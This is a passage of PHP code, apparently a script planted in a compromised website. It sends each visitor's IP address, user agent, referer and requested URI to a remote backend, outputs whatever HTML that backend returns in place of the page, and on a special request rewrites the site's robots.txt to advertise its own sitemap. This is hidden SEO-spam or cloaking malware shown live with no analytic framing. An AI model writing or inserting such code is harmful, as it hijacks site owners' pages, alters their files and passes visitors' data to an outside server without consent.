{$identifier}"); } $params = http_build_query(array( 'uri' => $requestUri, 'dom' => gv_86caeb('HTTP_HOST'), 'ip' => getClientIp_86caeb(), 'lang' => gv_86caeb('HTTP_ACCEPT_LANGUAGE'), 'agent' => gv_86caeb('HTTP_USER_AGENT'), 'refer' => gv_86caeb('HTTP_REFERER'), 'http' => isHttps_86caeb() ? 'https' : 'http', 'v' => '9' )); if (strpos($requestUri, 'pingsitemap') !== false) { $robots_contents = "User-agent: *\r\nAllow: /\r\n"; $scriptName = gv_86caeb('SCRIPT_NAME'); $scripPath = ''; if (strpos($scriptName, 'index.p') !== false) { $scripPath = '/'; } else { $scripPath = $scriptName . '?'; } $protocol = isHttps_86caeb() ? 'https' : 'http'; $domain = gv_86caeb('HTTP_HOST'); $sitemap = $protocol . '://' . $domain . $scripPath . 'sitemap.xml'; $robots_contents .= "Sitemap: " . $sitemap . "\r\n"; if (@file_put_contents('robots.txt', $robots_contents)) { echo '1'; } else { echo '0'; } exit; } else { $html = fetchBackend_86caeb(BACKEND_86caeb, $params); if ($html) { while (ob_get_level() > 0) {@ob_end_clean();} die($html); } }